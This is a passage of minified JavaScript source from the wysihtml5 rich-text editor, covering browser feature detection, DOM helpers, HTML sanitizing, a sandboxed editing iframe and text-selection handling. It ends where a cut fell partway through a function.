Base=Base.extend({constructor:function(b){this.extend(b)}},{ancestor:Object,version:"1.1",forEach:function(b,c,a){for(var d in b)void 0===this.prototype[d]&&c.call(a,b[d],d,b)},implement:function(){for(var b=0;b<arguments.length;b++)if("function"==typeof arguments[b])arguments[b](this.prototype);else this.prototype.extend(arguments[b]);return this},toString:function(){return""+this.valueOf()}});
wysihtml5.browser=function(){var b=navigator.userAgent,c=document.createElement("div"),a=-1!==b.indexOf("MSIE")&&-1===b.indexOf("Opera"),d=-1!==b.indexOf("Gecko")&&-1===b.indexOf("KHTML"),e=-1!==b.indexOf("AppleWebKit/"),f=-1!==b.indexOf("Chrome/"),h=-1!==b.indexOf("Opera/");return{USER_AGENT:b,supported:function(){var a=this.USER_AGENT.toLowerCase(),b="contentEditable"in c,d=document.execCommand&&document.queryCommandSupported&&document.queryCommandState,e=document.querySelector&&document.querySelectorAll,
a=this.isIos()&&5>(/ipad|iphone|ipod/.test(a)&&a.match(/ os (\d+).+? like mac os x/)||[,0])[1]||-1!==a.indexOf("opera mobi")||-1!==a.indexOf("hpwos/");return b&&d&&e&&!a},isTouchDevice:function(){return this.supportsEvent("touchmove")},isIos:function(){var a=this.USER_AGENT.toLowerCase();return-1!==a.indexOf("webkit")&&-1!==a.indexOf("mobile")},supportsSandboxedIframes:function(){return a},throwsMixedContentWarningWhenIframeSrcIsEmpty:function(){return!("querySelector"in document)},displaysCaretInEmptyContentEditableCorrectly:function(){return!d},
hasCurrentStyleProperty:function(){return"currentStyle"in c},insertsLineBreaksOnReturn:function(){return d},supportsPlaceholderAttributeOn:function(a){return"placeholder"in a},supportsEvent:function(a){var b;if(!(b="on"+a in c))c.setAttribute("on"+a,"return;"),b="function"===typeof c["on"+a];return b},supportsEventsInIframeCorrectly:function(){return!h},firesOnDropOnlyWhenOnDragOverIsCancelled:function(){return e||d},supportsDataTransfer:function(){try{return e&&(window.Clipboard||window.DataTransfer).prototype.getData}catch(a){return!1}},
supportsHTML5Tags:function(a){a=a.createElement("div");a.innerHTML="<article>foo</article>";return"<article>foo</article>"===a.innerHTML.toLowerCase()},supportsCommand:function(){var b={formatBlock:a,insertUnorderedList:a||h,insertOrderedList:a||h},c={insertHTML:d};return function(a,d){if(!b[d]){try{return a.queryCommandSupported(d)}catch(e){}try{return a.queryCommandEnabled(d)}catch(f){return!!c[d]}}return!1}}(),doesAutoLinkingInContentEditable:function(){return a},canDisableAutoLinking:function(){return this.supportsCommand(document,
"AutoUrlDetect")},clearsContentEditableCorrectly:function(){return d||h||e},supportsGetAttributeCorrectly:function(){return"1"!=document.createElement("td").getAttribute("rowspan")},canSelectImagesInContentEditable:function(){return d||a||h},clearsListsInContentEditableCorrectly:function(){return d||a||e},autoScrollsToCaret:function(){return!e},autoClosesUnclosedTags:function(){var a=c.cloneNode(!1),b;a.innerHTML="<p><div></div>";a=a.innerHTML.toLowerCase();b="<p></p><div></div>"===a||"<p><div></div></p>"===
a;this.autoClosesUnclosedTags=function(){return b};return b},supportsNativeGetElementsByClassName:function(){return-1!==(""+document.getElementsByClassName).indexOf("[native code]")},supportsSelectionModify:function(){return"getSelection"in window&&"modify"in window.getSelection()},supportsClassList:function(){return"classList"in c},needsSpaceAfterLineBreak:function(){return h},supportsSpeechApiOn:function(a){return 11<=(b.match(/Chrome\/(\d+)/)||[,0])[1]&&("onwebkitspeechchange"in a||"speech"in a)},
crashesWhenDefineProperty:function(b){return a&&("XMLHttpRequest"===b||"XDomainRequest"===b)},doesAsyncFocus:function(){return a},hasProblemsSettingCaretAfterImg:function(){return a},hasUndoInContextMenu:function(){return d||f||h}}}();
wysihtml5.lang.array=function(b){return{contains:function(c){if(b.indexOf)return-1!==b.indexOf(c);for(var a=0,d=b.length;a<d;a++)if(b[a]===c)return!0;return!1},without:function(c){for(var c=wysihtml5.lang.array(c),a=[],d=0,e=b.length;d<e;d++)c.contains(b[d])||a.push(b[d]);return a},get:function(){for(var c=0,a=b.length,d=[];c<a;c++)d.push(b[c]);return d}}};
wysihtml5.lang.Dispatcher=Base.extend({observe:function(b,c){this.events=this.events||{};this.events[b]=this.events[b]||[];this.events[b].push(c);return this},on:function(){return this.observe.apply(this,wysihtml5.lang.array(arguments).get())},fire:function(b,c){this.events=this.events||{};for(var a=this.events[b]||[],d=0;d<a.length;d++)a[d].call(this,c);return this},stopObserving:function(b,c){this.events=this.events||{};var a=0,d,e;if(b){d=this.events[b]||[];for(e=[];a<d.length;a++)d[a]!==c&&c&&
e.push(d[a]);this.events[b]=e}else this.events={};return this}});wysihtml5.lang.object=function(b){return{merge:function(c){for(var a in c)b[a]=c[a];return this},get:function(){return b},clone:function(){var c={},a;for(a in b)c[a]=b[a];return c},isArray:function(){return"[object Array]"===Object.prototype.toString.call(b)}}};
(function(){var b=/^\s+/,c=/\s+$/;wysihtml5.lang.string=function(a){a=""+a;return{trim:function(){return a.replace(b,"").replace(c,"")},interpolate:function(b){for(var c in b)a=this.replace("#{"+c+"}").by(b[c]);return a},replace:function(b){return{by:function(c){return a.split(b).join(c)}}}}}})();
(function(b){function c(a){return a.replace(e,function(a,b){var c=(b.match(f)||[])[1]||"",d=i[c],b=b.replace(f,"");b.split(d).length>b.split(c).length&&(b+=c,c="");var e=d=b;b.length>h&&(e=e.substr(0,h)+"...");"www."===d.substr(0,4)&&(d="http://"+d);return'<a href="'+d+'">'+e+"</a>"+c})}function a(g){if(!d.contains(g.nodeName))if(g.nodeType===b.TEXT_NODE&&g.data.match(e)){var f=g.parentNode,j;j=f.ownerDocument;var h=j._wysihtml5_tempElement;h||(h=j._wysihtml5_tempElement=j.createElement("div"));j=
h;j.innerHTML="<span></span>"+c(g.data);for(j.removeChild(j.firstChild);j.firstChild;)f.insertBefore(j.firstChild,g);f.removeChild(g)}else{f=b.lang.array(g.childNodes).get();j=f.length;for(h=0;h<j;h++)a(f[h]);return g}}var d=b.lang.array("CODE,PRE,A,SCRIPT,HEAD,TITLE,STYLE".split(",")),e=/((https?:\/\/|www\.)[^\s<]{3,})/gi,f=/([^\w\/\-](,?))$/i,h=100,i={")":"(","]":"[","}":"{"};b.dom.autoLink=function(b){var c;a:{c=b;for(var e;c.parentNode;){c=c.parentNode;e=c.nodeName;if(d.contains(e)){c=!0;break a}if("body"===
e)break}c=!1}if(c)return b;b===b.ownerDocument.documentElement&&(b=b.ownerDocument.body);return a(b)};b.dom.autoLink.URL_REG_EXP=e})(wysihtml5);
(function(b){var c=b.browser.supportsClassList(),a=b.dom;a.addClass=function(b,e){if(c)return b.classList.add(e);a.hasClass(b,e)||(b.className+=" "+e)};a.removeClass=function(a,b){if(c)return a.classList.remove(b);a.className=a.className.replace(RegExp("(^|\\s+)"+b+"(\\s+|$)")," ")};a.hasClass=function(a,b){if(c)return a.classList.contains(b);var f=a.className;return 0<f.length&&(f==b||RegExp("(^|\\s)"+b+"(\\s|$)").test(f))}})(wysihtml5);
wysihtml5.dom.contains=function(){var b=document.documentElement;if(b.contains)return function(b,a){a.nodeType!==wysihtml5.ELEMENT_NODE&&(a=a.parentNode);return b!==a&&b.contains(a)};if(b.compareDocumentPosition)return function(b,a){return!!(b.compareDocumentPosition(a)&16)}}();
wysihtml5.dom.convertToList=function(){function b(b,a){var d=b.createElement("li");a.appendChild(d);return d}return function(c,a){if("UL"===c.nodeName||"OL"===c.nodeName||"MENU"===c.nodeName)return c;for(var d=c.ownerDocument,e=d.createElement(a),f=wysihtml5.lang.array(c.childNodes).get(),h=f.length,i,g,k,j,q=0;q<h;q++)j=j||b(d,e),i=f[q],g="block"===wysihtml5.dom.getStyle("display").from(i),k="BR"===i.nodeName,g?(j=j.firstChild?b(d,e):j,j.appendChild(i),j=null):k?j=j.firstChild?null:j:j.appendChild(i);
c.parentNode.replaceChild(e,c);return e}}();wysihtml5.dom.copyAttributes=function(b){return{from:function(c){return{to:function(a){for(var d,e=0,f=b.length;e<f;e++)d=b[e],c[d]&&(a[d]=c[d]);return{andTo:arguments.callee}}}}}};
(function(b){var c=["-webkit-box-sizing","-moz-box-sizing","-ms-box-sizing","box-sizing"],a=function(a){var e;a:for(var f=0,h=c.length;f<h;f++)if("border-box"===b.getStyle(c[f]).from(a)){e=c[f];break a}return e?parseInt(b.getStyle("width").from(a),10)<a.offsetWidth:!1};b.copyStyles=function(d){return{from:function(e){a(e)&&(d=wysihtml5.lang.array(d).without(c));for(var f="",h=d.length,i=0,g;i<h;i++)g=d[i],f+=g+":"+b.getStyle(g).from(e)+";";return{to:function(a){b.setStyles(f).on(a);return{andTo:arguments.callee}}}}}}})(wysihtml5.dom);
(function(b){b.dom.delegate=function(c,a,d,e){return b.dom.observe(c,d,function(d){for(var h=d.target,i=b.lang.array(c.querySelectorAll(a));h&&h!==c;){if(i.contains(h)){e.call(h,d);break}h=h.parentNode}})}})(wysihtml5);
wysihtml5.dom.getAsDom=function(){var b="abbr,article,aside,audio,bdi,canvas,command,datalist,details,figcaption,figure,footer,header,hgroup,keygen,mark,meter,nav,output,progress,rp,rt,ruby,svg,section,source,summary,time,track,video,wbr".split(",");return function(c,a){var a=a||document,d;if("object"===typeof c&&c.nodeType)d=a.createElement("div"),d.appendChild(c);else if(wysihtml5.browser.supportsHTML5Tags(a))d=a.createElement("div"),d.innerHTML=c;else{d=a;if(!d._wysihtml5_supportsHTML5Tags){for(var e=
0,f=b.length;e<f;e++)d.createElement(b[e]);d._wysihtml5_supportsHTML5Tags=!0}d=a;e=d.createElement("div");e.style.display="none";d.body.appendChild(e);try{e.innerHTML=c}catch(h){}d.body.removeChild(e);d=e}return d}}();
wysihtml5.dom.getParentElement=function(){function b(b,a){return!a||!a.length?!0:"string"===typeof a?b===a:wysihtml5.lang.array(a).contains(b)}return function(c,a,d){d=d||50;if(a.className||a.classRegExp){a:{for(var e=a.nodeName,f=a.className,a=a.classRegExp;d--&&c&&"BODY"!==c.nodeName;){var h;if(h=c.nodeType===wysihtml5.ELEMENT_NODE)if(h=b(c.nodeName,e)){h=f;var i=(c.className||"").match(a)||[];h=!h?!!i.length:i[i.length-1]===h}if(h)break a;c=c.parentNode}c=null}return c}a:{e=a.nodeName;for(f=d;f--&&
c&&"BODY"!==c.nodeName;){if(b(c.nodeName,e))break a;c=c.parentNode}c=null}return c}}();
wysihtml5.dom.getStyle=function(){function b(b){return b.replace(a,function(a){return a.charAt(1).toUpperCase()})}var c={"float":"styleFloat"in document.createElement("div").style?"styleFloat":"cssFloat"},a=/\-[a-z]/g;return function(a){return{from:function(e){if(e.nodeType===wysihtml5.ELEMENT_NODE){var f=e.ownerDocument,h=c[a]||b(a),i=e.style,g=e.currentStyle,k=i[h];if(k)return k;if(g)try{return g[h]}catch(j){}var h=f.defaultView||f.parentWindow,f=("height"===a||"width"===a)&&"TEXTAREA"===e.nodeName,
q;if(h.getComputedStyle)return f&&(q=i.overflow,i.overflow="hidden"),e=h.getComputedStyle(e,null).getPropertyValue(a),f&&(i.overflow=q||""),e}}}}}();wysihtml5.dom.hasElementWithTagName=function(){var b={},c=1;return function(a,d){var e=(a._wysihtml5_identifier||(a._wysihtml5_identifier=c++))+":"+d,f=b[e];f||(f=b[e]=a.getElementsByTagName(d));return 0<f.length}}();
(function(b){var c={},a=1;b.dom.hasElementWithClassName=function(d,e){if(!b.browser.supportsNativeGetElementsByClassName())return!!d.querySelector("."+e);var f=(d._wysihtml5_identifier||(d._wysihtml5_identifier=a++))+":"+e,h=c[f];h||(h=c[f]=d.getElementsByClassName(e));return 0<h.length}})(wysihtml5);wysihtml5.dom.insert=function(b){return{after:function(c){c.parentNode.insertBefore(b,c.nextSibling)},before:function(c){c.parentNode.insertBefore(b,c)},into:function(c){c.appendChild(b)}}};
wysihtml5.dom.insertCSS=function(b){b=b.join("\n");return{into:function(c){var a=c.head||c.getElementsByTagName("head")[0],d=c.createElement("style");d.type="text/css";d.styleSheet?d.styleSheet.cssText=b:d.appendChild(c.createTextNode(b));a&&a.appendChild(d)}}};
wysihtml5.dom.observe=function(b,c,a){for(var c="string"===typeof c?[c]:c,d,e,f=0,h=c.length;f<h;f++)e=c[f],b.addEventListener?b.addEventListener(e,a,!1):(d=function(c){"target"in c||(c.target=c.srcElement);c.preventDefault=c.preventDefault||function(){this.returnValue=false};c.stopPropagation=c.stopPropagation||function(){this.cancelBubble=true};a.call(b,c)},b.attachEvent("on"+e,d));return{stop:function(){for(var e,g=0,f=c.length;g<f;g++)e=c[g],b.removeEventListener?b.removeEventListener(e,a,!1):
b.detachEvent("on"+e,d)}}};
wysihtml5.dom.parse=function(){function b(c,e){var g=c.childNodes,f=g.length,k;k=a[c.nodeType];var h=0;k=k&&k(c);if(!k)return null;for(h=0;h<f;h++)(newChild=b(g[h],e))&&k.appendChild(newChild);return e&&1>=k.childNodes.length&&k.nodeName.toLowerCase()===d&&!k.attributes.length?k.firstChild:k}function c(a,b){var b=b.toLowerCase(),c;if(c="IMG"==a.nodeName)if(c="src"==b){var d;try{d=a.complete&&!a.mozMatchesSelector(":-moz-broken")}catch(e){a.complete&&"complete"===a.readyState&&(d=!0)}c=!0===d}return c?
a.src:i&&"outerHTML"in a?-1!=a.outerHTML.toLowerCase().indexOf(" "+b+"=")?a.getAttribute(b):null:a.getAttribute(b)}var a={1:function(a){var b,f,i=h.tags;f=a.nodeName.toLowerCase();b=a.scopeName;if(a._wysihtml5)return null;a._wysihtml5=1;if("wysihtml5-temp"===a.className)return null;b&&"HTML"!=b&&(f=b+":"+f);"outerHTML"in a&&!wysihtml5.browser.autoClosesUnclosedTags()&&"P"===a.nodeName&&"</p>"!==a.outerHTML.slice(-4).toLowerCase()&&(f="div");if(f in i){b=i[f];if(!b||b.remove)return null;b="string"===
typeof b?{rename_tag:b}:b}else if(a.firstChild)b={rename_tag:d};else return null;f=a.ownerDocument.createElement(b.rename_tag||f);var i={},r=b.set_class,m=b.add_class,s=b.set_attributes,x=b.check_attributes,o=h.classes,z=0,w=[];b=[];var y=[],A=[],t;s&&(i=wysihtml5.lang.object(s).clone());if(x)for(t in x)if(s=g[x[t]])s=s(c(a,t)),"string"===typeof s&&(i[t]=s);r&&w.push(r);if(m)for(t in m)if(s=k[m[t]])r=s(c(a,t)),"string"===typeof r&&w.push(r);o["_wysihtml5-temp-placeholder"]=1;(A=a.getAttribute("class"))&&
(w=w.concat(A.split(e)));for(m=w.length;z<m;z++)a=w[z],o[a]&&b.push(a);for(o=b.length;o--;)a=b[o],wysihtml5.lang.array(y).contains(a)||y.unshift(a);y.length&&(i["class"]=y.join(" "));for(t in i)try{f.setAttribute(t,i[t])}catch(v){}i.src&&("undefined"!==typeof i.width&&f.setAttribute("width",i.width),"undefined"!==typeof i.height&&f.setAttribute("height",i.height));return f},3:function(a){return a.ownerDocument.createTextNode(a.data)}},d="span",e=/\s+/,f={tags:{},classes:{}},h={},i=!wysihtml5.browser.supportsGetAttributeCorrectly(),
g={url:function(){var a=/^https?:\/\//i;return function(b){return!b||!b.match(a)?null:b.replace(a,function(a){return a.toLowerCase()})}}(),alt:function(){var a=/[^ a-z0-9_\-]/gi;return function(b){return!b?"":b.replace(a,"")}}(),numbers:function(){var a=/\D/g;return function(b){return(b=(b||"").replace(a,""))||null}}()},k={align_img:function(){var a={left:"wysiwyg-float-left",right:"wysiwyg-float-right"};return function(b){return a[(""+b).toLowerCase()]}}(),align_text:function(){var a={left:"wysiwyg-text-align-left",
right:"wysiwyg-text-align-right",center:"wysiwyg-text-align-center",justify:"wysiwyg-text-align-justify"};return function(b){return a[(""+b).toLowerCase()]}}(),clear_br:function(){var a={left:"wysiwyg-clear-left",right:"wysiwyg-clear-right",both:"wysiwyg-clear-both",all:"wysiwyg-clear-both"};return function(b){return a[(""+b).toLowerCase()]}}(),size_font:function(){var a={1:"wysiwyg-font-size-xx-small",2:"wysiwyg-font-size-small",3:"wysiwyg-font-size-medium",4:"wysiwyg-font-size-large",5:"wysiwyg-font-size-x-large",
6:"wysiwyg-font-size-xx-large",7:"wysiwyg-font-size-xx-large","-":"wysiwyg-font-size-smaller","+":"wysiwyg-font-size-larger"};return function(b){return a[(""+b).charAt(0)]}}()};return function(a,c,d,e){wysihtml5.lang.object(h).merge(f).merge(c).get();for(var d=d||a.ownerDocument||document,c=d.createDocumentFragment(),g="string"===typeof a,a=g?wysihtml5.dom.getAsDom(a,d):a;a.firstChild;)d=a.firstChild,a.removeChild(d),(d=b(d,e))&&c.appendChild(d);a.innerHTML="";a.appendChild(c);return g?wysihtml5.quirks.getCorrectInnerHTML(a):
a}}();wysihtml5.dom.removeEmptyTextNodes=function(b){for(var c=wysihtml5.lang.array(b.childNodes).get(),a=c.length,d=0;d<a;d++)b=c[d],b.nodeType===wysihtml5.TEXT_NODE&&""===b.data&&b.parentNode.removeChild(b)};wysihtml5.dom.renameElement=function(b,c){for(var a=b.ownerDocument.createElement(c),d;d=b.firstChild;)a.appendChild(d);wysihtml5.dom.copyAttributes(["align","className"]).from(b).to(a);b.parentNode.replaceChild(a,b);return a};
wysihtml5.dom.replaceWithChildNodes=function(b){if(b.parentNode)if(b.firstChild){for(var c=b.ownerDocument.createDocumentFragment();b.firstChild;)c.appendChild(b.firstChild);b.parentNode.replaceChild(c,b)}else b.parentNode.removeChild(b)};
(function(b){function c(a){var b=a.ownerDocument.createElement("br");a.appendChild(b)}b.resolveList=function(a){if(!("MENU"!==a.nodeName&&"UL"!==a.nodeName&&"OL"!==a.nodeName)){var d=a.ownerDocument.createDocumentFragment(),e=a.previousSibling,f,h,i;for(e&&"block"!==b.getStyle("display").from(e)&&c(d);i=a.firstChild;){for(f=i.lastChild;e=i.firstChild;)h=(h=e===f)&&"block"!==b.getStyle("display").from(e)&&"BR"!==e.nodeName,d.appendChild(e),h&&c(d);i.parentNode.removeChild(i)}a.parentNode.replaceChild(d,
a)}}})(wysihtml5.dom);
(function(b){var c=document,a="parent,top,opener,frameElement,frames,localStorage,globalStorage,sessionStorage,indexedDB".split(","),d="open,close,openDialog,showModalDialog,alert,confirm,prompt,openDatabase,postMessage,XMLHttpRequest,XDomainRequest".split(","),e=["referrer","write","open","close"];b.dom.Sandbox=Base.extend({constructor:function(a,c){this.callback=a||b.EMPTY_FUNCTION;this.config=b.lang.object({}).merge(c).get();this.iframe=this._createIframe()},insertInto:function(a){"string"===typeof a&&
(a=c.getElementById(a));a.appendChild(this.iframe)},getIframe:function(){return this.iframe},getWindow:function(){this._readyError()},getDocument:function(){this._readyError()},destroy:function(){var a=this.getIframe();a.parentNode.removeChild(a)},_readyError:function(){throw Error("wysihtml5.Sandbox: Sandbox iframe isn't loaded yet");},_createIframe:function(){var a=this,d=c.createElement("iframe");d.className="wysihtml5-sandbox";b.dom.setAttributes({security:"restricted",allowtransparency:"true",
frameborder:0,width:0,height:0,marginwidth:0,marginheight:0}).on(d);b.browser.throwsMixedContentWarningWhenIframeSrcIsEmpty()&&(d.src="javascript:'<html></html>'");d.onload=function(){d.onreadystatechange=d.onload=null;a._onLoadIframe(d)};d.onreadystatechange=function(){if(/loaded|complete/.test(d.readyState)){d.onreadystatechange=d.onload=null;a._onLoadIframe(d)}};return d},_onLoadIframe:function(f){if(b.dom.contains(c.documentElement,f)){var h=this,i=f.contentWindow,g=f.contentWindow.document,k=
this._getHtml({charset:c.characterSet||c.charset||"utf-8",stylesheets:this.config.stylesheets});g.open("text/html","replace");g.write(k);g.close();this.getWindow=function(){return f.contentWindow};this.getDocument=function(){return f.contentWindow.document};i.onerror=function(a,b,c){throw Error("wysihtml5.Sandbox: "+a,b,c);};if(!b.browser.supportsSandboxedIframes()){var j,k=0;for(j=a.length;k<j;k++)this._unset(i,a[k]);k=0;for(j=d.length;k<j;k++)this._unset(i,d[k],b.EMPTY_FUNCTION);k=0;for(j=e.length;k<
j;k++)this._unset(g,e[k]);this._unset(g,"cookie","",!0)}this.loaded=!0;setTimeout(function(){h.callback(h)},0)}},_getHtml:function(a){var c=a.stylesheets,d="",e=0,k;if(c="string"===typeof c?[c]:c)for(k=c.length;e<k;e++)d+='<link rel="stylesheet" href="'+c[e]+'">';a.stylesheets=d;return b.lang.string('<!DOCTYPE html><html><head><meta charset="#{charset}">#{stylesheets}</head><body></body></html>').interpolate(a)},_unset:function(a,c,d,e){try{a[c]=d}catch(k){}try{a.__defineGetter__(c,function(){return d})}catch(j){}if(e)try{a.__defineSetter__(c,
function(){})}catch(q){}if(!b.browser.crashesWhenDefineProperty(c))try{var n={get:function(){return d}};e&&(n.set=function(){});Object.defineProperty(a,c,n)}catch(p){}}})})(wysihtml5);(function(){var b={className:"class"};wysihtml5.dom.setAttributes=function(c){return{on:function(a){for(var d in c)a.setAttribute(b[d]||d,c[d])}}}})();
wysihtml5.dom.setStyles=function(b){return{on:function(c){c=c.style;if("string"===typeof b)c.cssText+=";"+b;else for(var a in b)"float"===a?(c.cssFloat=b[a],c.styleFloat=b[a]):c[a]=b[a]}}};
(function(b){b.simulatePlaceholder=function(c,a,d){var e=function(){a.hasPlaceholderSet()&&a.clear();b.removeClass(a.element,"placeholder")},f=function(){a.isEmpty()&&(a.setValue(d),b.addClass(a.element,"placeholder"))};c.observe("set_placeholder",f).observe("unset_placeholder",e).observe("focus:composer",e).observe("paste:composer",e).observe("blur:composer",f);f()}})(wysihtml5.dom);
(function(b){var c=document.documentElement;"textContent"in c?(b.setTextContent=function(a,b){a.textContent=b},b.getTextContent=function(a){return a.textContent}):"innerText"in c?(b.setTextContent=function(a,b){a.innerText=b},b.getTextContent=function(a){return a.innerText}):(b.setTextContent=function(a,b){a.nodeValue=b},b.getTextContent=function(a){return a.nodeValue})})(wysihtml5.dom);
wysihtml5.quirks.cleanPastedHTML=function(){var b={"a u":wysihtml5.dom.replaceWithChildNodes};return function(c,a,d){var a=a||b,d=d||c.ownerDocument||document,e="string"===typeof c,f,h,i,g=0,c=e?wysihtml5.dom.getAsDom(c,d):c;for(i in a){f=c.querySelectorAll(i);d=a[i];for(h=f.length;g<h;g++)d(f[g])}return e?c.innerHTML:c}}();
(function(b){var c=b.dom;b.quirks.ensureProperClearing=function(){var a=function(){var a=this;setTimeout(function(){var b=a.innerHTML.toLowerCase();if("<p>&nbsp;</p>"==b||"<p>&nbsp;</p><p>&nbsp;</p>"==b)a.innerHTML=""},0)};return function(b){c.observe(b.element,["cut","keydown"],a)}}();b.quirks.ensureProperClearingOfLists=function(){var a=["OL","UL","MENU"];return function(d){c.observe(d.element,"keydown",function(e){if(e.keyCode===b.BACKSPACE_KEY){var f=d.selection.getSelectedNode(),e=d.element;
e.firstChild&&b.lang.array(a).contains(e.firstChild.nodeName)&&(f=c.getParentElement(f,{nodeName:a}))&&f==e.firstChild&&1>=f.childNodes.length&&(f.firstChild?""===f.firstChild.innerHTML:1)&&f.parentNode.removeChild(f)}})}}()})(wysihtml5);
(function(b){b.quirks.getCorrectInnerHTML=function(c){var a=c.innerHTML;if(-1===a.indexOf("%7E"))return a;var c=c.querySelectorAll("[href*='~'], [src*='~']"),d,e,f,h;h=0;for(f=c.length;h<f;h++)d=c[h].href||c[h].src,e=b.lang.string(d).replace("~").by("%7E"),a=b.lang.string(a).replace(e).by(d);return a}})(wysihtml5);
(function(b){var c=b.dom,a="LI,P,H1,H2,H3,H4,H5,H6".split(","),d=["UL","OL","MENU"];b.quirks.insertLineBreakOnReturn=function(e){function f(a){if(a=c.getParentElement(a,{nodeName:["P","DIV"]},2)){var d=document.createTextNode(b.INVISIBLE_SPACE);c.insert(d).before(a);c.replaceWithChildNodes(a);e.selection.selectNode(d)}}c.observe(e.element.ownerDocument,"keydown",function(h){var i=h.keyCode;if(!(h.shiftKey||i!==b.ENTER_KEY&&i!==b.BACKSPACE_KEY)){var g=e.selection.getSelectedNode();(g=c.getParentElement(g,
{nodeName:a},4))?"LI"===g.nodeName&&(i===b.ENTER_KEY||i===b.BACKSPACE_KEY)?setTimeout(function(){var a=e.selection.getSelectedNode(),b;a&&((b=c.getParentElement(a,{nodeName:d},2))||f(a))},0):g.nodeName.match(/H[1-6]/)&&i===b.ENTER_KEY&&setTimeout(function(){f(e.selection.getSelectedNode())},0):i===b.ENTER_KEY&&!b.browser.insertsLineBreaksOnReturn()&&(e.commands.exec("insertLineBreak"),h.preventDefault())}})}})(wysihtml5);
(function(b){b.quirks.redraw=function(c){b.dom.addClass(c,"wysihtml5-quirks-redraw");b.dom.removeClass(c,"wysihtml5-quirks-redraw");try{var a=c.ownerDocument;a.execCommand("italic",!1,null);a.execCommand("italic",!1,null)}catch(d){}}})(wysihtml5);
(function(b){var c=b.dom;b.Selection=Base.extend({constructor:function(a){window.rangy.init();this.editor=a;this.composer=a.composer;this.doc=this.composer.doc},getBookmark:function(){var a=this.getRange();return a&&a.cloneRange()},setBookmark:function(a){a&&this.setSelection(a)},setBefore:function(a){var b=rangy.createRange(this.doc);b.setStartBefore(a);b.setEndBefore(a);return this.setSelection(b)},setAfter:function(a){var b=rangy.createRange(this.doc);b.setStartAfter(a);b.setEndAfter(a);return this.setSelection(b)},
selectNode:function(a){var d=rangy.createRange(this.doc),e=a.nodeType===b.ELEMENT_NODE,f="canHaveHTML"in a?a.canHaveHTML:"IMG"!==a.nodeName,h=e?a.innerHTML:a.data,h=""===h||h===b.INVISIBLE_SPACE,i=c.getStyle("display").from(a),i="block"===i||"list-item"===i;if(h&&e&&f)try{a.innerHTML=b.INVISIBLE_SPACE}catch(g){}f?d.selectNodeContents(a):d.selectNode(a);f&&h&&e?d.collapse(i):f&&h&&(d.setStartAfter(a),d.setEndAfter(a));this.setSelection(d)},getSelectedNode:function(a){if(a&&this.doc.selection&&"Control"===
this.doc.selection.type&&(a=this.doc.selection.createRange())&&a.length)return a.item(0);a=this.getSelection(this.doc);return a.focusNode===a.anchorNode?a.focusNode:(a=this.getRange(this.doc))?a.commonAncestorContainer:this.doc.body},executeAndRestore:function(a,c){var e=this.doc.body,f=c&&e.scrollTop,h=c&&e.scrollLeft,i='<span class="_wysihtml5-temp-placeholder">'+b.INVISIBLE_SPACE+"</span>",g=this.getRange(this.doc);if(g){i=g.createContextualFragment(i);g.insertNode(i);try{a(g.startContainer,g.endContainer)}catch(k){setTimeout(function(){throw k;
},0)}(caretPlaceholder=this.doc.querySelector("._wysihtml5-temp-placeholder"))?(g=rangy.createRange(this.doc),g.selectNode(caretPlaceholder),g.deleteContents(),this.setSelection(g)):e.focus();c&&(e.scrollTop=f,e.scrollLeft=h);try{caretPlaceholder.parentNode.removeChild(caretPlaceholder)}catch(j){}}else a(e,e)},executeAndRestoreSimple:function(a){var b,c,f=this.getRange(),h=this.doc.body,i;if(f){b=f.getNodes([3]);h=b[0]||f.startContainer;i=b[b.length-1]||f.endContainer;b=h===f.startContainer?f.startOffset:
0;c=i===f.endContainer?f.endOffset:i.length;try{a(f.startContainer,f.endContainer)}catch(g){setTimeout(function(){throw g;},0)}a=rangy.createRange(this.doc);try{a.setStart(h,b)}catch(k){}try{a.setEnd(i,c)}catch(j){}try{this.setSelection(a)}catch(q){}}else a(h,h)},insertHTML:function(a){var a=rangy.createRange(this.doc).createContextualFragment(a),b=a.lastChild;this.insertNode(a);b&&this.setAfter(b)},insertNode:function(a){var b=this.getRange();b&&b.insertNode(a)},surround:function(a){var b=this.getRange();
if(b)try{b.surroundContents(a),this.selectNode(a)}catch(c){a.appendChild(b.extractContents()),b.insertNode(a)}},scrollIntoView:function(){var a=this.doc,c=a.documentElement.scrollHeight>a.documentElement.offsetHeight,e;if(!(e=a._wysihtml5ScrollIntoViewElement))e=a.createElement("span"),e.innerHTML=b.INVISIBLE_SPACE;e=a._wysihtml5ScrollIntoViewElement=e;if(c){this.insertNode(e);var c=e,f=0;if(c.parentNode){do f+=c.offsetTop||0,c=c.offsetParent;while(c)}c=f;e.parentNode.removeChild(e);c>a.body.scrollTop&&
(a.body.scrollTop=c)}},selectLine:function(){b.browser.supportsSelectionModify()?this._selectLine_W3C():this.doc.selection&&this._selectLine_MSIE()},_selectLine_W3C:function(){var a=this.doc.defaultView.getSelection();a.modify("extend","left","lineboundary");a.modify("extend","right","lineboundary")},_selectLine_MSIE:function(){var a=this.doc.selection.createRange(),b=a.boundingTop,c=this.doc.body.scrollWidth,f;if(a.moveToPoint){0===b&&(f=this.doc.createElement("span"),this.insertNode(f),b=f.offsetTop,
f.parentNode.removeChild(f));b+=1;for(f=-10;f<c;f+=2)try{a.moveToPoint(f,b);break}catch(h){}for(f=this.doc.selection.createRange();0<=c;c--)try{f.moveToPoint(c,b);break}catch(i){}a.setEndPoint("EndToEnd",f);a.select()}},getText:function(){var a=this.getSelection();return a?a.toString():""},getNodes:function(a,b){var c=this.getRange();return c?c.getNodes([a],b):[]},getRange:function(){var a=this.getSelection();return a&&a.rangeCount&&a.getRangeAt(0)},getSelection:function(){return rangy.getSelection(this.doc.defaultView||
this.doc.parentWindow)},setSelection:function(a){return rangy.getSelection(this.doc.defaultView||this.doc.parentWindow).setSingleRange(a)}})})(wysihtml5);
(function(b,c){function a(a,b){return c.dom.isCharacterDataNode(a)?0==b?!!a.previousSibling:b==a.length?!!a.nextSibling:!0:0<b&&b<a.childNodes.length}function d(a,b,e){var f;c.dom.isCharacterDataNode(b)&&(0==e?(e=c.dom.getNodeIndex(b),b=b.parentNode):e==b.length?(e=c.dom.getNodeIndex(b)+1,b=b.parentNode):f=c.dom.splitDataNode(b,e));if(!f){f=b.cloneNode(!1);f.id&&f.removeAttribute("id");for(var h;h=b.childNodes[e];)f.appendChild(h);c.dom.insertAfter(f,b)}return b==a?f:d(a,f.parentNode,c.dom.getNodeIndex(f))}
